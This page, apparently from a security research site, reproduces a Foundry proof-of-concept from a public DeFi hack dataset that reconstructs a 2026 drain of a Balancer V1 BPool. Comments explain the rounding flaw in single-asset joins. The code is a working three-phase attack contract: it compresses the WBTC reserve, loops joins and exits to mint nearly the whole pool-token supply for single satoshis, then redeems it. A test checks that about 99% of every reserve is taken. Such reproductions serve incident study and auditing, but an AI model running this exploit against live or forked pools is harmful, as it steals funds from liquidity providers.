Public reproduction file
src/test/2026-08/BalancerV1BPool_exp.sol
Public reproduction file for dataset entry BalancerV1BPool.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Balancer V1 BPool rounding / missing-min-input drain — Ethereum mainnet, 2026-08-31.8//9// Vulnerable pool : 0x2257aaac34bcb27900291f7b84ee2565a6cbac57 (Balancer V1 BPool,10// 4 assets DPI / USDC / WETH / WBTC, equal 12.5e18 denorm weights).11// Attacker EOA : 0x338c7ec9befbb451d66fd8a468c32184f5689a4112// Attack contract : 0x9caa8d0e44b22f50057d2f4ce0d1446529e11be313// Drain tx : 0x72510b257cc09bde8435b83ac1636f9498ffc353583330600b5b8da43d0d1aff (blk 25872274)14//15// Root cause (confirmed against the on-chain trace and the verified BPool source): a Balancer V116// BPool prices single-asset joins with calcSingleInGivenPoolOut, which reverse-computes the token17// input required for a caller-named BPT output in 18-dp fixed point. joinswapPoolAmountOut enforces18// only `tokenAmountIn != 0`, `tokenAmountIn <= maxAmountIn`, and `tokenAmountIn <= balance*MAX_IN_RATIO`19// — there is no minimum-effective-input or relative-error check. MIN_BALANCE is enforced only in20// bind/rebind, never on the join/swap math. So once the WBTC reserve is compressed to a couple of21// satoshi by ordinary public swaps, the required WBTC input for a sizeable BPT mint rounds DOWN to22// a single satoshi (8-decimal WBTC against the 18-dp weight math), while the full BPT is still23// minted. Every entrypoint used — swapExactAmountIn, joinswapPoolAmountOut, exitswapPoolAmountIn,24// exitPool — is a plain permissionless public call; there is no signer / admin / privileged path.25//26// On-chain shape of the drain tx (290 BPool calls):27// 38x swapExactAmountIn + 3x swapExactAmountOut : compress the WBTC reserve toward dust.28// ~100x [joinswapPoolAmountOut(WBTC, pao, maxIn=1) , exitswapPoolAmountIn(WBTC, pai, minOut=1)] :29// each join mints a large BPT share for ONE satoshi of WBTC; the paired single-sided exit30// pulls that satoshi back out so the next join rounds to dust again. Net effect: the31// attacker accumulates essentially the entire BPT supply for dust.32// 44x swapExactAmountOut + 1x exitPool : redeem the accumulated ~99.9% BPT share for a33// proportional cut of the pool's real DPI / USDC / WETH / WBTC.34//35// This PoC reconstructs that attack as ordinary typed calls against the real BPool — no bytecode36// blob, no raw calldata replay, no generic execute(bytes) wrapper. It runs the same three phases:37// compress WBTC to ~2 satoshi, loop join+exitSwap to accumulate the BPT supply via the rounding38// bug, then exitPool to drain the reserves. The loop is driven empirically (it keeps minting until39// it owns the pool) rather than with the tx's exact 100 hardcoded iterations; it converges in ~32240// joins here. The working capital the on-chain attacker sourced from nested Spark/Aave + Morpho +41// Uniswap V3 flash loans (all repaid in-tx) is supplied with deal() instead, since that capital42// nets to zero and the pool's loss is identical either way.43//44// Loss note: this BPool held ~$110,839 (four balanced ~$27.7K legs). The reconstructed attack45// drains ~99.9% of every leg; realized profit is valued at the block's Chainlink ETH/BTC prices46// plus the pool-implied DPI price. The ~$234K SlowMist headline is the aggregate across five47// victim BPools; this PoC covers only the named DPI/USDC/WETH/WBTC pool (the drain tx above).48//49// forge test --contracts src/test/2026-08/BalancerV1BPool_exp.sol -vvv51interface IBPool {52 function getBalance(53 address token54 ) external view returns (uint256);55 function totalSupply() external view returns (uint256);56 function balanceOf(57 address account58 ) external view returns (uint256);59 function swapExactAmountIn(60 address tokenIn,61 uint256 tokenAmountIn,62 address tokenOut,63 uint256 minAmountOut,64 uint256 maxPrice65 ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);66 function joinswapPoolAmountOut(67 address tokenIn,68 uint256 poolAmountOut,69 uint256 maxAmountIn70 ) external returns (uint256 tokenAmountIn);71 function exitswapPoolAmountIn(72 address tokenOut,73 uint256 poolAmountIn,74 uint256 minAmountOut75 ) external returns (uint256 tokenAmountOut);76 function exitPool(77 uint256 poolAmountIn,78 uint256[] calldata minAmountsOut79 ) external;80}82interface IAggregator {83 function latestAnswer() external view returns (int256);84}86contract BalancerV1BPoolAttack {87 IBPool internal constant POOL = IBPool(0x2257aaac34BcB27900291f7B84eE2565A6cbaC57);88 address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;89 address internal constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;90 uint256 internal constant MAXP = type(uint256).max;92 uint256 public joinCount;94 function run() external {95 IERC20(WETH).approve(address(POOL), type(uint256).max);96 IERC20(WBTC).approve(address(POOL), type(uint256).max);98 // Phase 1 - compress the WBTC reserve to ~2 satoshi. Each swap pulls ~1/3 of the WBTC99 // balance out (MAX_OUT_RATIO-bounded via the exact-in form), paying WETH in.100 uint256 wb = POOL.getBalance(WBTC);101 while (wb > 2) {102 try POOL.swapExactAmountIn(WETH, POOL.getBalance(WETH) / 2, WBTC, 0, MAXP) returns (uint256, uint256) {103 uint256 nw = POOL.getBalance(WBTC);104 if (nw >= wb) break;105 wb = nw;106 } catch {107 break;108 }109 }111 // Phase 2 - accumulate the BPT supply. joinswapPoolAmountOut mints a large share for one112 // satoshi of WBTC (maxAmountIn = 1); exitswapPoolAmountIn pulls that satoshi back out so113 // the reserve stays at dust and the next join rounds down again.114 for (uint256 i = 0; i < 1500; i++) {115 uint256 supply = POOL.totalSupply();116 uint256 pao = supply / 8;117 bool minted = false;118 for (uint256 k = 0; k < 40; k++) {119 try POOL.joinswapPoolAmountOut(WBTC, pao, 1) returns (uint256) {120 minted = true;121 break;122 } catch {123 pao = (pao * 4) / 5;124 if (pao == 0) break;125 }126 }127 if (!minted) break;128 joinCount = i + 1;130 while (POOL.getBalance(WBTC) > 2) {131 uint256 pai = supply / 1000;132 bool pulled = false;133 for (uint256 k = 0; k < 60; k++) {134 try POOL.exitswapPoolAmountIn(WBTC, pai, 1) returns (uint256) {135 pulled = true;136 break;137 } catch {138 pai = pai + pai / 4 + 1;139 }140 }141 if (!pulled) break;142 }144 // Stop once the accumulated BPT is effectively the entire supply.145 if (POOL.balanceOf(address(this)) * 10_000_000_000 >= POOL.totalSupply() * 9_999_999_990) break;146 }148 // Phase 3 - redeem the accumulated BPT for a proportional share of every reserve.149 uint256[] memory minOut = new uint256[](4);150 POOL.exitPool(POOL.balanceOf(address(this)), minOut);151 }152}154contract BalancerV1BPoolExp is BaseTestWithBalanceLog {155 IBPool internal constant POOL = IBPool(0x2257aaac34BcB27900291f7B84eE2565A6cbaC57);156 address internal constant DPI = 0x1494CA1F11D487c2bBe4543E90080AeBa4BA3C2b;157 address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;158 address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;159 address internal constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;161 // Chainlink feeds (8 decimals), read at the fork block for a deterministic USD valuation.162 IAggregator internal constant ETH_USD = IAggregator(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);163 IAggregator internal constant BTC_USD = IAggregator(0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c);165 uint256 internal constant FORK_BLOCK = 25_872_273; // parent of the drain tx (25872274)167 function setUp() public {168 vm.createSelectFork("mainnet", FORK_BLOCK);169 vm.label(address(POOL), "BalancerV1BPool");170 vm.label(DPI, "DPI");171 vm.label(USDC, "USDC");172 vm.label(WETH, "WETH");173 vm.label(WBTC, "WBTC");174 }176 // Pre-attack reserves, snapshotted in setUp-adjacent state for the drain-percentage checks.177 uint256 internal dpi0;178 uint256 internal usdc0;179 uint256 internal weth0;180 uint256 internal wbtc0;182 function testExploit() public {183 BalancerV1BPoolAttack exploit = new BalancerV1BPoolAttack();185 // Working capital standing in for the repaid nested flash loans (Spark/Aave + Morpho +186 // Uniswap V3). It nets to zero against the pool's loss; the attack reclaims it in phase 3.187 deal(WETH, address(exploit), 30_000_000 ether);188 deal(WBTC, address(exploit), 100e8);190 dpi0 = POOL.getBalance(DPI);191 usdc0 = POOL.getBalance(USDC);192 weth0 = POOL.getBalance(WETH);193 wbtc0 = POOL.getBalance(WBTC);195 exploit.run();197 // Reserves the attacker pulled out (it started with 0 DPI/USDC and the dealt WETH/WBTC).198 uint256 gotDpi = IERC20(DPI).balanceOf(address(exploit));199 uint256 gotUsdc = IERC20(USDC).balanceOf(address(exploit));200 uint256 gotWeth = IERC20(WETH).balanceOf(address(exploit)) - 30_000_000 ether;201 uint256 gotWbtc = IERC20(WBTC).balanceOf(address(exploit)) - 100e8;203 emit log_named_uint("join iterations", exploit.joinCount());204 emit log_named_decimal_uint("profit USD", _usd(gotDpi, gotUsdc, gotWeth, gotWbtc), 18);206 // The attacker captured essentially the whole pool: >=99% of every original reserve.207 assertGe(gotDpi, (dpi0 * 99) / 100, "DPI not drained");208 assertGe(gotUsdc, (usdc0 * 99) / 100, "USDC not drained");209 assertGe(gotWeth, (weth0 * 99) / 100, "WETH not drained");210 assertGe(gotWbtc, (wbtc0 * 99) / 100, "WBTC not drained");212 // Reproduced loss approximates the reported ~$110,839 for this pool instance.213 assertApproxEqAbs(_usd(gotDpi, gotUsdc, gotWeth, gotWbtc), 110_839e18, 3000e18, "loss off expected ~$110,839");214 }216 // Value a DPI/USDC/WETH/WBTC bundle in USD (1e18 scaled) at the block's Chainlink prices.217 // DPI has no feed; the balanced pool's USDC leg implies its price.218 function _usd(219 uint256 dpi,220 uint256 usdc,221 uint256 weth,222 uint256 wbtc223 ) internal view returns (uint256) {224 uint256 ethUsd = uint256(ETH_USD.latestAnswer()); // 1e8225 uint256 btcUsd = uint256(BTC_USD.latestAnswer()); // 1e8226 uint256 dpiUsd = (usdc0 * 1e18 * 1e8) / (dpi0 * 1e6); // 1e8, ~ $50.7227 return (dpi * dpiUsd) / 1e8 + (usdc * 1e18) / 1e6 + (weth * ethUsd) / 1e8 + (wbtc * btcUsd * 1e18) / (1e8 * 1e8);228 }229}Analysis
Dataset entry
Public Foundry test for “BalancerV1BPool” (2026-08-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x338c7ec9befbb451d66fd8a468c32184f5689a41
- Attack contract
0x9caa8d0e44b22f50057d2f4ce0d1446529e11be3
File record
- Name
- BalancerV1BPool
- Path
- src/test/2026-08/BalancerV1BPool_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 97f1c6661cd9b5c7edd41274643de561239ae7c7
- Language
- Solidity
- Size
- 230 lines
- Date
- 2026-08-31
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/BalancerV1BPool_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 97f1c6661cd9b5c7edd41274643de561239ae7c7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.